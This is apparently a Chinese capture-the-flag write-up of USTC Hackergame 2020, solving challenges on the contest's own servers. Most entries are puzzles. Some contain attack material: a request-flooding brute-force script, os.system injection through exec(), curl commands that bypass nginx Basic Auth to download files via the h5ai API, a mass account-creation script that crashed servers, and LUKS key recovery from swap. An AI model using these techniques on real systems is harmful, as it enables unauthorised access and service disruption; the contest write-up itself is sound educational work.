USTC Hackergame 2020(中科大信安赛)write up

USTC Hackergame 2020(中科大信安赛)write up

技术向约 9.4 千字

作为一只 CS 零基础、信安零基础、CTF 零基础的菜狐狐,苏卡卡今年又来参加 USTC Hackergame 啦!由于一边做题一边总结思路(指写 Write Up),所以苏卡卡应该是第一个发布非官方的 USTC Hackergame 2020 Write Up 的吧(嘿嘿)。

题图来自 USTC Hackergame 2019「Happy LUG」

签到题

只要提取 1 个 flag 就好啦!可是,为什么这个反人类的 form-control 的步长竟然是 0.00001:

继续看下去会发现,用手是根本不可能拖到 1.00000 的:

不管了,直接点击「提取」:

同时,发现地址栏里的 URL 变成了 http://202.38.93.111:10000/?number=0.84608。那就立刻访问 http://202.38.93.111:10000/?number=1 拿到 flag!

Google 从 Chrome 76 起开始推行 WHATWG URL 规范中的「Simplify non-human-readable or irrelevant components」、即「简化非人类可读或不相关的组件」。不过 Chrome 85 起提供了「Always Show Full URLs」的选项,可以在地址栏上右键后从菜单中开启。

猫咪问答++

  1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
    Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.
    提示:学术上一般认为龙不属于哺乳动物。
  2. 第一个以信鸽为载体的 IP 网络标准的 RFC 文档中推荐使用的 MTU (Maximum Transmission Unit) 是多少毫克?
    提示:咕咕咕,咕咕咕。
  3. USTC Linux 用户协会在 2019 年 9 月 21 日自由软件日活动中介绍的开源游戏的名称共有几个字母?
    提示:活动记录会在哪里?
  4. 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
    提示:建议身临其境。
  5. 中国科学技术大学第六届信息安全大赛所有人合计提交了多少次 flag?
    提示:是一个非负整数。

其中,第二题、第三题、第五题的答案分别可以在下述 URL 中找到:

至于第一题要搜索二十几种吉祥物、一不小心还会数错,第四题要去找卫星图像或者街景图,大尾巴狐狸太懒了、不想搜索了!有没有别的方法获取 flag?

第一题给了 23 种编程语言、软件或组织:

"Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce".split(',').length
// 23

至于图书馆前的地上停车位、总不可能超过 100 个吧?

那么,写一个遍历跑第一题和第四题的答案,总会跑出 Flag 的!

for (let i = 1; i < 23; i++) { // 至少有 1 种哺乳动物;既然提示了龙不是哺乳动物,那么肯定不会 23 种前部都是
  for (let j = 0; j < 100; j++) { // 一个停车位都没有的可能性不是没有,遍历时要考虑进去
    const formData = new FormData();
    formData.append('q1', i);
    formData.append('q2', 256);
    formData.append('q3', 9);
    formData.append('q4', j);
    formData.append('q4', 17098);
    fetch('http://202.38.93.111:10001/', {
      body: formData,
      method: 'POST',
    }).then(resp => resp.text()).then(text => {
      if (!text.includes('没有全部答对,不能给你 flag')) {
        console.log(i, j, text);
      }
    });
  }
}

果然,通过对比赛平台的 CC 攻击,很快就把第一题和第四题答案跑出来了:第一题的答案是 12、第四题的答案是 9。输入正确答案提交即可获取 flag。

2048

毫无疑问,这道题如果真的玩到 2048 获取 Flag 是肯定可行的,但是我懒;同样的原因,我也不想对这个网站里每个 JS 都审计一次。既然如此,不如先随便玩玩,看看这道题的 Flag 大概会藏在哪里。

随便乱敲方向键刻意使 Game Over,DevTools 截获了一个 HTTP 请求、是 html_actuator.js 第 164 行发起的:

现在我们直接审计 html_actuator.js 就好了,把发起 AJAX 请求的函数找出来:

HTMLActuator.prototype.message = function (won) {
  var type    = won ? "game-won" : "game-over";
  var message = won ? "FLXG 大成功!" : "FLXG 永不放弃!";

  var url;
  if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

  let request = new XMLHttpRequest();
  request.open('GET', url);
  request.responseType = 'text';

  request.onload = function() {
    document.getElementById("game-message-extra").innerHTML = request.response;
  };

  request.send();

  this.messageContainer.classList.add(type);
  this.messageContainer.getElementsByTagName("p")[0].textContent = message;

  this.clearContainer(this.sharingContainer);
  this.sharingContainer.appendChild(this.scoreTweetButton());
};

看了代码就知道怎么获取 Flag 了,直接 GET /getflxg?my_favorite_fruit=banana 即可。

小彩蛋,在 JavaScript 中字符串类型 String 转换成数字类型 Number 时会得到 NaN,凑成了 banana

一闪而过的 Flag

...... 程序每次运行时隐约可见黑色控制台上有 flag 一闪而过。

......

而你作为一名新生,不由动了恻隐之心。望着诗人潇洒远去的背影,你可以赶在下午诗人回来之前,帮助这位可怜的人,用 flag 装满他的饭盒吗?

打开/下载题目 (Hosted at Internet Archive)

欺负苏卡卡用 macOS 不用 Windows,哼!苏卡卡才不会重启到 Windows 就为了看个 flag 呢,Parallels Desktop 启动!

没有什么是截图解决不了的。。。啊,什么?还要区分 i I 1 l当然是猜 flag 啦

小 Tip,打开 CMD、左上角图标右键、「默认值」,是可以设置「控制台窗口」默认字体和字号的:

改了字体以后,这不就分得清清楚楚啦!

从零开始的记账工具人

如同往常一样,你的 npy 突然丢给你一个购物账单:“我今天买了几个小玩意,你能帮我算一下一共花了多少钱吗?”

你心想:又双叒叕要开始吃土了 这不是很简单吗?电子表格里面一拖动就算出来了

只不过拿到账单之后你才注意到,似乎是为了剁手时更加的安心,这次的账单上面的金额全使用了中文大写数字

注意:请将账单总金额保留小数点后两位,放在 flag{} 中提交,例如总金额为 123.45 元时,你需要提交 flag{123.45}

这道题上来继续欺负苏卡卡没有在 macOS 上安装 Office,大尾巴狐狸非常生气。你看 npm 上这个能解析 xlsx 文件的 SheetJS、大写数字转小写的 nzh 还蛮好用的。Node.js 代码如下:

const XLSX = require('xlsx'); // 解析 xlsx 用
const NzhCN = require('nzh/cn'); // 大写数字转小写

const xlsx = XLSX.readFile('./bills.xlsx'); // 当然你要先把 xlsx 文件下载下来
const data = XLSX.utils.sheet_to_json(xlsx.Sheets[xlsx.SheetNames[0]]);
let count = 0;

data.forEach(row => {
  const moneyData = { yuan: 0, jiao: 0, fen: 0 };

  // nzh 不支持处理金额,需要自己实现一个
  let tmp;
  [['元', 'yuan'], ['角', 'jiao'], ['分', 'fen']].forEach(([i, dataKey]) => {
    tmp = (tmp || row['单价']).split(i);
    if (tmp.length === 1) {
      tmp = tmp[0]
    } else {
      moneyData[dataKey] = NzhCN.decodeB(tmp[0]);
      tmp = tmp[1]
    }
  });
  // 处理金额时,要小心浮点数大坑哟
  const value = moneyData.yuan * 100 + moneyData.jiao * 10 + moneyData.fen;
  count = count + value * row['数量'];
});

console.log(`flag{${(count/100).toFixed(2)}}`); // 直接打印 flag

超简单的世界模拟器

......

你的任务是在生命游戏的世界中,复现出蝴蝶扇动翅膀,引起大洋彼岸风暴的效应。

通过改变左上角 15x15 的区域,在游戏演化 200 代之后,如果被特殊标注的正方形内的细胞被“清除”,你将会得到对应的 flag:

“清除”任意一个正方形,你将会得到第一个 flag。同时“清除”两个正方形,你将会得到第二个 flag。

在 Google 上搜索「生命游戏」,找到了一个知乎提问和 Conway Life Game Wiki。大概了解康威生命游戏是什么后就理解了题目的要求:要在 15x15 的范围内构建一个生命游戏图形、在演化到 200 代之后会清除两个种群。

第一个 Payload 是一艘最简单的会向右平移「飞船」(这个图形在知乎或是 Life Game Wiki 上都可以被轻易找到),可以直接摧毁第一个种群:

0
0
0
0011
01111
011011
00011

第二个 Payload 是我一不小心试出来的,由一个平移的「飞船」和一个沿着斜对角线行走的「滑翔者」共同组成,他们会「擦弹」引发「大爆炸」,在 80 代左右摧毁第一个种群、在 160 代左右摧毁第二个种群:

0
0
0
0011
01111
011011
00011
0
0
001
101
011

从零开始的火星文生活

......

L 同学打开附件一看,傻眼了,全都是意义不明的汉字。机智的 L 同学想到 Q 同学平时喜欢使用 GBK 编码,也许是打开方式不对。结果用 GBK 打开却看到了一堆夹杂着日语和数字的火星文......

L 同学彻底懵逼了,几经周折,TA 找到了科大最负盛名的火星文专家 (你)。依靠多年的字符编码解码的经验,你可以破译 Q 同学发来的火星文是什么意思吗?

注:正确的 flag 全部由 ASCII 字符组成!

这种 GBK、UTF-8 之间的火星文编码问题,直接给一个 UNIX 下的 万能解法

cat gibberish_message.txt | iconv -f utf8 -t gbk | iconv -f utf8 -t latin1 | iconv -f gbk -t utf8

剩下要做的,就是把全角转换成半角了。

自复读的复读机

能够复读其他程序输出的程序只是普通的复读机。

顶尖的复读机还应该能复读出自己的源代码。

什么是国际复读机啊(战术后仰)

你现在需要编写两个只有一行 Python 代码的顶尖复读机:

  • 其中一个要输出代码本身的逆序(即所有字符从后向前依次输出)
  • 另一个是输出代码本身的 sha256 哈希值,十六进制小写

满足两个条件分别对应了两个 flag。

快来开始你的复读吧~

访问题目,输出的提示信息是:

Your one line python code to exec():

什么,可以 exec() 啊?那大尾巴狐狸直接干坏事了:

Your one line python code to exec(): import os; os.system("ls")

发现目录下面有一个 checker.py 和一个 runner.py。接着用 os.system("cat *.py") 获得题目源码:

# checker.py
import subprocess
import hashlib

if __name__ == "__main__":
    code = input("Your one line python code to exec(): ")
    print()
    if not code:
        print("Code must not be empty")
        exit(-1)
    p = subprocess.run(
        ["su", "nobody", "-s", "/bin/bash", "-c", "/usr/local/bin/python3 /runner.py"],
        input=code.encode(),
        stdout=subprocess.PIPE,
    )

    if p.returncode != 0:
        print()
        print("Your code did not run successfully")
        exit(-1)

    output = p.stdout.decode()

    print("Your code is:")
    print(repr(code))
    print()
    print("Output of your code is:")
    print(repr(output))
    print()

    print("Checking reversed(code) == output")
    if code[::-1] == output:
        print(open("/root/flag1").read())
    else:
        print("Failed!")
    print()

    print("Checking sha256(code) == output")
    if hashlib.sha256(code.encode()).hexdigest() == output:
        print(open("/root/flag2").read())
    else:
        print("Failed!")

# runner.py
exec(input())

不要想着直接 exec() 偷 flag 了,你以为这比赛是 ylb 搞的啊?

可以看到「反向复读」的检查中使用了 [::-1] 倒序,所以在构造反向复读的语句中也应该使用 [::-1]

首先是构建正向复读的语句,在 Google 中 盲目 搜索的过程中确定了关键词「Quine Python」、找到了 这个网站,介绍了如下语句:

_='_=%r;print (_%%_)';print (_%_) 

那个网站也给出了这个语句的详细解释,不过简单来说,我们利用了 print 字符格式化、通过 %r(当然也可以用 %s)获得 _ 变量的取值;而在 _ 变量中使用了 %% 防止 % 被转义。

既然有了正向复读,稍加改动即可得到反向复读。首先在 print(_&_) 中加上 [::-1] 获得倒叙,同时也要对应修改 _ 变量:

_=')]1-::[_%%_(tnirp;%r=_';print(_%_[::-1])

信心满满地去提交,结果 Check Failed,发现 print 在结尾带上了换行符。所以再为 print再加上 end="" 即可:

_=')""=dne,]1-::[_%%_(tnirp;%r=_';print(_%_[::-1],end="")

成功获得第一个 flag。

233 同学的字符串工具

233 同学最近刚刚学会了 Python 的字符串操作,于是写了两个小程序运行在自己的服务器上。这个工具提供两个功能:

  • 字符串大写工具
  • UTF-7 到 UTF-8 转换工具

除了点击下方的打开题目按钮使用网页终端,你也可以通过 nc 202.38.93.111 10233 命令连接到 233 同学的服务上。你可以在这里看到 233 同学的源代码: string_tool.py

这一道题我先拿到了第二个 flag 后才拿到了第一个 flag。首先在 www.string-function.com 这个网站上找到了 UTF-7 和 ASCII 编码互换表: UTF-7 => ASCII ASCII => UTF-7,照着表(加上一些简单的推算)将 flag 编码成 +AGYAbABhAGc-、成功拿到第二个 flag。

获得第二个 flag 以后,决定根据相同的思路去查 Unicode sheet,但是直到后来经过提醒才想起来有「合字」这种神奇的存在,最终利用 U+FB02 构造出 Payload 获得第一个 flag。

233 同学的 Docker

233 同学在软工课上学到了 Docker 这种方便的东西,于是给自己的字符串工具项目写了一个 Dockerfile。

但是 233 同学突然发现它不小心把一个私密文件(flag.txt)打包进去了,于是写了一行命令删掉这个文件。

「既然已经删掉了,应该不会被人找出来吧?」233 想道。

首先让我们 看看这个 Docker Image 是怎么构建的(不需要用 image 反推 Dockerfile 这种奇技淫巧,DockerHub 可以直接查看 Public 的 Docker Images 的构建过程),可以发现 233 同学首先把所有文件都添加到 Docker Image 中、再通过 /bin/sh -c rm /code/flag.txt 删除了 flag.txt

由于 Docker Image 在构建时每一个 RUN 都会新建一个 Layer,因此即使 233 同学通过 RUN 删掉了 flag.txt,flag 肯定还存在于某个地方,而且「某个地方」就包括本机的 /var/lib/docker/overlay2

$ docker run 8b8d3c8324c7/stringtool # 下载执行 8b8d3c8324c7/stringtool
[Redacted]
Nothing here... # Docker Image 执行的输出
$ cd /var/lib/docker/overlay2
$ find -name flag.txt
./befaa134f7d0cc9e964e7790b7c11dde6d0df3104cd88667f7676e46f409705f/diff/code/flag.txt
./8c07cc3c01c52b8cf0684518e68a31bfb1f843392f973fef9add587d554c6fab/diff/code/flag.txt
# Duang,flag.txt 它出现了
$ cd befaa134f7d0cc9e964e7790b7c11dde6d0df3104cd88667f7676e46f409705f/diff/code/
$ cat flag.txt
# flag 到手,嘿嘿

从零开始的 HTTP 链接

众所周知,数组下标应当从 0 开始。

同样的,TCP 端口也应当从 0 开始。为了实践这一点,我们把一个网站架设在服务器的 0 号端口上。

你能成功连接到 0 号端口并拿到 flag 吗?

点击下面的打开题目按钮是无法打开网页的,因为普通的浏览器会认为这是无效地址。

TCP/IP 中「端口」这个概念,甚至早于互联网的发明:早在 ARPANET 网中的供电协议中就有 8 个比特用于决定应该由计算机上的哪个程序接收该信息(当时这 8 个比特被称为 AEN、Another Eight Numbers),可以参考我之前翻译的一篇文章「URL 的历史」。现在 TCP 的端口共有 16 个比特(最大支持到 65535)。其中,端口 0 作为保留端口,所以依然是可用的。虽然部分浏览器无法访问,这并不意味着 netcat 不能访问,对吧!

当然这道题有几个坑点:

  1. 现有发行版中分发的 netcat 都不是「原版」的,试图连接 Port 0 会报「Invalid Port」。因此可以选择直接手撸 Socket、或者更换另一个版本的 netcat
  2. 就算使用了合适的工具,由于 Darwin 的 XNU Kernel 非常鸡贼地阻止使用端口 0,所以在 macOS 上也依然没法做这道题。我不得不在 codeanywhere 上开了一个 Linux Container 跑这道题。

和 HTTP/2 基于二进制帧不同,HTTP/0.9、HTTP/1.0、HTTP/1.1 协议都是基于明文的,因此可以手敲 Header:

nc 202.38.93.111 0
GET / HTTP/1.1
Host: 202.38.93.111
Connection: close

接着终端里会打印出来一串 HTML、隐约还可以看见 xterm.js,这不就是 Hackergame 的 Web 端做题界面嘛!由于去年在参与 USTC Hackergame 时就研究过这个界面、已经知道交互是通过 /shell 路径下的 WebSocket 连接实现的。因此直接使用 websocat 完成 WebSocket 交互,就和 netcat 一样:

# 如果没有 websocat 的话
$ wget https://github.com/vi/websocat/releases/download/v1.6.0/websocat_nossl_amd64-linux
$ chmod +x websocat_nossl_amd64-linux
# 开始获取 Flag
$ ./websocat_nossl_amd64-linux ws://202.38.93.111:0/shell
Please input your token: [Redacted]
# Flag 到手!

超简陋的 OpenGL 小程序

年轻人的第一个 OpenGL 小程序。

(嗯,有什么被挡住了?)

下载地址 (Hosted at Internet Archive)

由于苏卡卡是参赛的两千多名选手中最菜的那一个、完全不懂 OpenGL、完全不懂图形学,为了做这道题不得不去翻了一下「Learn OpenGL CN」,知道了 VS(Vertex Shader)是顶点着色器、可以处理顶点属性确定形状,和 FS(Fragment Shader)是片段着色器、可以算颜色,然后就开始硬上了。在花了半个小时盲目乱改 VS 的参数后,成功让「犹抱琵琶半遮面」的 flag 露出了右上角:

凭借着漏出来的部分,我成功认出了 lGraphicHappy(233);。剩下的就要靠猜了,我猜过的 flag 有:

  • flag{GraphicHappy(223);} (整体长度都不对)
  • flag{GraphicsHappy(223);}cH 之间还有个类似 c 的字母、那就是 s 了,不过还是不够长)
  • flag{gl_GraphicsHappy(223);} (OpenGL 里不少 gl_ 前缀,加上认出来一个 l,试试看)
  • flag{glGraphicsHappy(223);}lG 之间的距离没那么长,终于猜对了)

这道题的正确解法是利用未被使用的向量 Normal。苏卡卡虽然有注意到 Normal 未被使用过,但是由于完全不会 OpenGL、并不知道怎么添加向量。

这种解法没什么好自豪的,你看这只大尾巴狐狸就是逊啦。

来自未来的信笺

你收到了一封邮件。没有标题,奇奇怪怪的发件人,和一份奇怪的附件。日期显示的是 3020 年 10 月 31 日。

"Send from Arctic." 正文就只有这一句话。

「谁搞的恶作剧啊......话说这竟然没有被垃圾邮件过滤器过滤掉?」你一边嘟囔着一边解压了附件——只看到一堆二维码图片。

看起来有点意思。你不禁想试试,能否从其中得到什么有意义的东西。

谁会在 1000 年以后从北极给你发一封电子邮件?那当然是 GitHub Archive Program 啦 —— 今年年初,GitHub 将现存的活跃开源项目全部以二维码的形式刻录在胶片上、埋进了北极世界档案馆(AWA,位于斯瓦尔巴群岛一个位于北极冻土之下的废弃煤矿中,和 Global Seed Vault 仅一英里之遥)中。为了做这道题,让我们读一读 GitHub Archive Program 为「后人」提供的指南:

这里摘抄简体中文版指南的一部分内容:

每个二维码由一个个白色或黑色小方块组成,该等小方块几乎占据胶片的整个帧。 使用二维码的原因在于,其比人类可读的文本更紧凑而可靠。 二维码可解码为二进制数据,即一系列 1 和 0。

......

我们可将 TAR 文件嵌套进 TAR 文件,就像在容器中装入另一容器,而这正是大部分存档数据的存储方式。 无论哪个仓库,其外层 TAR 文件都将至少包含如下内容:

  • 一个名为 META 的未压缩元数据文件,其包含仓库名称、帐户名、说明、语言、星数、复刻数
  • 一个名为 COMMITS 的压缩文件(如下所述),包含该仓库有史以来的更改记录
  • 一个名为 repo.tar.xz 的文件,是包含实际仓库内容的压缩 TAR 文件

其它诸如 wiki、gh-page、issue 和 pull request 等元数据也可能包含在不同压缩文件中。

现在我们知道了这些二维码是什么、二维码们中存储了什么数据、数据的格式,接下来就该写一个脚本把所有二维码全部解析出来了:

import zxing
import os

reader = zxing.BarCodeReader()

def parseQRCode(img_path):
    barcode = reader.decode(img_path).encode().decode('ascii')
    try:
        return barcode.raw
    except:
        print(img_path, barcode)
        return ""

def listDirImages(folder):
    imgs = []
    for img_path in os.listdir(folder):
        ext = os.path.splitext(img_path)
        if len(ext) > 1 and ext[1].lower() == ".png":
            imgs.append(img_path)
    imgs.sort()
    return imgs

contents = []
for img in listDirImages("./"):
    contents.extend(parseQRCode(img))

file = "./result.txt"
with open(file, "w") as f:
    for c in contents:
        f.write(c)

这道题对二维码解码库的选择非常关键。zybar 已经八年没有更新,不仅无法处理 Binary Format QRCode、而且还无法识别 00 截断;相比来说,zxing 库的维护非常活跃、因而更为可靠。不过即使使用 py-zxing 也有坑,很快就会看到了。

把脚本丢到二维码目录下执行,跑完了打开 result.txt,看到了 META(一个 openlug/django-common 的 GitHub RESTful API 返回值)、COMMITS,甚至还看到了一条 commit message「There's no flag in META and COMMITS!」。但是到了 repo.tar.xz 却让我伤破脑筋:zlib 的文件头本应该是 FD 37 7A 58,结果却看到了 EF BF BD 37 7A 58,解压软件一个都认不出来。

这是啥玩意?遇事不决问 Google,结果找到了这个:

「狐狐脏话删除」

接下来就是去魔改 zxing 了。如之前所说,python-zxing 还只是个 Java zxing 的 wrapper,不得不去学了一点 Java 把 zxing 里的 UTF-8 干掉,最终重新解析了一遍二维码、拿到了正确的 repo.tar.xz,解压拿到了 flag。

顺便说一句,做完这道题后有点无聊,开始通过 META 反推原始仓库。原本看到 openlug/nonexist,以为出题人是新建了一个 Private Repo 出的题,但是又看到 fork_countnetwork_count 是 5,所以得出结论这肯定是一个 Public Repo(否则不可能有 Fork)。再根据 Star 数在 30 左右、Watch 数(在 GitHub RESTful API 中通过 subscriber_count 呈现)是 1、语言是 Python, 最后反推出 META 信息源自去年「被泄露的姜戈」的 openlug/django-common,生成 META 的方式就是 curl https://api.github.com/repos/openlug/django-common。结果还被组委会 diss 了,大尾巴狐狐非常不高兴。

狗狗银行

你能在狗狗银行成功薅到羊毛吗?

考虑到题目公告更新提示「本题前端计算存在浮点数导致的计算误差,数字特别极端时显示可能不正确。但后端采用大整数精确计算,只有净资产确实高于 2000 时才会给出 flag」,所以这道题的思路和 前年 USTC Hackergame 2018 的猫咪银行借助 INT64 溢出 肯定是不一样的。

首先观察题目给出的条件:每天都要花 10 块钱吃饭;信用卡利率 0.5%、并且一旦欠款每天利息至少是 10 块钱;储蓄卡利率 0.3%。光从字面上的数字来看似乎这道题做不出来,但是我们知道,阿里蚂蚁金服的「余额宝」产品存在「每天收益不足 1 分钱时按 1 分钱计算」的规则。狗狗银行的储蓄卡利率是否也有类似的规则呢?办一张新的「储蓄卡 3」,从「储蓄卡 1」转 166 块钱到「储蓄卡 3」,「储蓄卡 3」的日利息仍然是 0;再从「储蓄卡 1」转 1 块钱到「储蓄卡 3」使余额变成 167 块,Bingo!现在「储蓄卡 3」的日利息有 1 块钱了。1 / 167 算出来真实的日利率是 0.5988%,比信用卡的利率要高 0.0988%,因此我们可以从信用卡借钱然后赚利息的差价,当然还要考虑到每天至少要净赚 10 块的饭钱、以及信用卡的复利(利滚利)。

接下来就是用脚本连续开一万张卡试图一天拿到 flag,然后,三台备用服务器(一个 IP 上三个端口、三个 Docker)全部 RST 了。。。

之后,题目新增了一条公告:

苏卡卡才不是故意的呢(摇尾巴),苏卡卡只是坏,一天赚 1000 不香嘛;虽然有了 1000 张卡的限制,获取 flag 还是轻而易举的:

(async () => {
  const commonFetchOpt = {
    method: 'POST', mode: 'cors', credentials: 'include',
    headers: {
      Authorization: 'Bearer [选手 Token]',
      'Content-Type': 'application/json; charset=utf-8'
    }
  }

  /**
   * @param {'credit'|'debit'} type
   */
  function createCard(type = 'debit') {
    return fetch('/api/create', {
      body: JSON.stringify({ type }),
      ...commonFetchOpt
    });
  }

  /**
   * @param {Number} from
   * @param {Number} to
   * @param {Number} amount
   */
  function transfer(from, to, amount) {
    return fetch('/api/transfer', {
      body: JSON.stringify({ amount, dst: to, src: from }),
      ...commonFetchOpt
    });
  }

  /**
   * @param {Number} account
   */
  async function eatAndEndTheDay(account) {
    await fetch('/api/eat', {
      body: JSON.stringify({ account }),
      ...commonFetchOpt
    });
  }

  try {
    // 开一张信用卡
    await createCard('credit');
    // 开 999 张储蓄卡,并给每张新开的储蓄卡转 167 块钱
    for (let i = 3; i < 1002; i++) {
      await createCard('debit');
      await transfer(2, i, 167);
    }
    // 用储蓄卡 1 的初始资金 1000 度过 14 天
    for (let i = 0; i < 14; i++) {
      await eatAndEndTheDay(1);
    }
    // 14 天肯定能赚够 1000 块钱了,该获取 flag 了
    const req = await fetch('/api/user', { ...commonFetchOpt, method: 'GET' });
    const resp = await req.json();
    console.log(resp.flag);
  } catch (e) {
    console.error(e);
  }
})();

超基础的数理模拟器

......
我们在 Hackergame 2020 的网站上部署了一项超基础的数理模拟器。 作为一名数理基础扎实的同学,你一定能够轻松通过模拟器的测试吧。

打开题目后发现要做 400 道定积分,而且答案还要取小数点后六位:

这道题没有取巧的办法,只有老老实实把 400 道定积分全部做完.....吧?

这么长的定积分谁手算啊,当然是要用 MATLAB 来算啦!徒手转换 LaTeX 到 MathLab 太麻烦了,写个脚本来做吧:

UserScript 在 这里,好孩子千万不要学习这种方法来解析 LaTex。

室友的加密硬盘

「我的家目录是 512 位 AES 加密的,就算电脑给别人我的秘密也不会泄漏......」你的室友在借你看他装着 Linux 的新电脑时这么说道。你不信,于是偷偷从 U 盘启动,拷出了他硬盘的一部分内容。

打开/下载题目 (Hosted at Internet Archive)

苏卡卡一开始试图把镜像直接挂载在虚拟机上,结果无法启动系统;于是先起了一个 Linux 虚拟机、在 Linux 下将 img 转换为 vmdk 再添加到虚拟机中,结果依然提示「未找到已安装的操作系统或操作系统安装器」。

中国民航于 1992 年在《中国民用航空局关于确保飞行安全的命令》文件中提出了 54 个字「八该一反对」,其中最重要的就是「反对盲目蛮干」

既然通过 img 文件直接启动没有成功,不如先看看这个 img 文件都有什么:

不要在意这个 Ubuntu Kylin,最近狐狐在虚拟机里各种体验各种「国产 Linux 发行版」,虚拟机里正好有 Ubuntu Kylin 所以拿来用的。

由于之前阅读过一些通过内存转储破解全盘加密的文章,所以便去下载了 findaes 的源码,编译的同时再去重读之前的几篇文章获取思路。看到几篇文章中都是用 findaes 直接读取 raw 的内存转储,于是决定直接用 findaes 爆破硬盘映像文件。首先把 img 用 7z 解压出来,然后一个一个分区映像跑:

$ ./findaes /path/to/img1.raw

根据题干「我的家目录是 512 位 AES 加密的」,但是 findaes 找到的都是 AES-256,所以需要从中筛选出一对 offset 相差为 256bit 的 key 进行拼接,因此还需要注意一点,由于 Intel x86_64 的 little-endian、拼接 key 时需要倒序拼接。

其实这一点我还是比较熟悉的,安装 Hackintosh 时注入十六进制的设备属性时需要互换 bit 也是因为 little-endian。

剩下的就是一对一对 key 的用 sudo cryptsetup luksAddKey --master-key-file 试过去,直到成功解密为止。最后用 swap 里的最后一对 key 成功解密了分区并拿到了 flag flag{lets_do_A_c01d_b00t_next_time} (下次试试冷启动吧!),直到看到 flag 才明白本题的思路是 Linux 休眠后会把内存写入 swap 分区中(macOS 则是写入硬盘上的 sleepimage 文件中),因此和之前读过的从内存转储破解全盘加密的思路是完全一致的。最后再给大家推荐 Red Hat 知识库的一篇文章「How to recover lost LUKS key or passphrase」。

超简易的网盘服务器

...... 小 C 开始思考技术方案:“听说 h5ai 搭建云盘的方案是不错的 ... 使用 Basic Auth 可以做访问控制,可以保护根目录下的文件不被非法的访问 ... 等等,有一些文件是可以被分享的,需要一个 /Public 目录来共享文件!”

三分钟后,小 C 同学完成了网盘的搭建。他想:“空着总不好,先得在云盘上放点东西!”。犹豫片刻,他掏出了自己珍藏了三个月的 flag 并上传到了云盘的根目录

这道题我好像是第五个还是第六个解出来的。这道题很多人没做出来还是有点令我惊讶的。

直接访问「根目录」会提示 401 需要 HTTP Basic Authentication,聪明的 小 C 肯定不会把密码直接暴露出来的。访问 /Public 目录却发现了 dockerfilenginx.conf 文件。从 dockerfile 中我们可以知道小 C 是怎么搭建的服务,而 nginx.conf 更值得我们关心(已省去无关紧要的部分):

index index.php index.html /_h5ai/public/index.php;

# 根目录是私有目录,使用 basic auth 进行认证,只有我(超极致的小 C)自己可以访问
location / {
    auth_basic "easy h5ai. For visitors, please refer to public directory at `/Public!`";
    auth_basic_user_file /etc/nginx/conf.d/htpasswd;
}

# Public 目录是公开的,任何人都可以访问,便于我给大家分享文件
location /Public {
    allow all;
    index /Public/_h5ai/public/index.php;
}

# PHP 的 fastcgi 配置,将请求转发给 php-fpm
location ~ \.php$ {
         fastcgi_pass   127.0.0.1:9000;
         fastcgi_index  index.php;
         fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
         include        fastcgi_params;
}

由于 Nginx 配置文件不是连续匹配,因此访问 .php 结尾的路径是不会触发 401 HTTP Basic Auth 的(应该没有人会天真地试图获取 /etc/nginx/conf.d/htpassword 吧?)。既然如此,我们为什么不直接访问 h5aiindex.php 呢?首先让我们请求一下 /Public 目录下的 h5ai 后台页面 /Public/_h5ai/public/index.php

curl http://202.38.93.111:10120/Public/_h5ai/public/index.php -I

HTTP/1.1 200 OK

那么「根目录」下的 /_h5ai/public/index.php 呢?

curl http://202.38.93.111:10120/_h5ai/public/index.php -I

HTTP/1.1 200 OK

不出所料,直接访问 index.php 也会返回 200 OK,而不是 401。

虽然直接访问 /_h5ai/public/index.php 不会返回 401,但是 GET 这个路径默认是返回 h5ai 的后台调试页面。由于 h5ai 是开源的、我们可以前往 h5ai 的 GitHub 对其代码进行审计,发现 h5ai 提供了一系列 API,可以通过 POST 请求列出目录内容和下载文件。首先试试能不能用 API 列出根目录下的文件内容:

$ curl 'http://202.38.93.111:10120/_h5ai/public/index.php' -H 'Content-Type: application/json;charset=UTF-8' --data-binary '{"action":"get","items":{"href":"/","what":1}}' | jq

{
  "items": [
    {
      "href": "/",
      "time": 1603986831000,
      "size": 789419,
      "managed": true,
      "fetched": true
    },
    {
      "href": "/Public/",
      "time": 1603986830000,
      "size": 396458,
      "managed": false,
      "fetched": false
    },
    {
      "href": "/flag.txt",
      "time": 1603489315000,
      "size": 24
    }
  ]
}

诶嘿嘿,我们看到 /flag.txt 啦!接下来就是用 API 下载 flag.txt 文件了:

$ curl 'http://202.38.93.111:10120/_h5ai/public/index.php' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'action=download&as=flag.txt.tar&type=php-tar&baseHref=/&hrefs[0]=/flag.txt' -o flag.txt.tar

$ tar xzf flag.txt.tar
$ cat flag.txt # Flag 到手啦

超安全的代理服务器

在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。

提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。

「浏览器可能会提示该 TLS 证书无效」这句话至关重要。想想看为什么别的题都是通过 HTTP 访问的、唯独这道题要用 HTTPS?什么东西需要 HTTPS 才能工作、在 HTTP 下不工作呢?

虽然 HTTP/2 本身不要求 TLS 实现(例如 H2C、HTTP/2 ClearText)、并且有通过 HTTP/1.1 升级到 HTTP/2 的协商方法(参见 我之前的文章「HTTP/3:HTTP Alternative Services 作为协商方式」中的「HTTP/2 的协商方式」章节 ),但是所有支持 HTTP/2 的浏览器都要求 HTTP/2 必须通过 TLS 传输、并在 Client Hello 中通过 ALPN Protocol 进行协商。扯远了,看看题目。

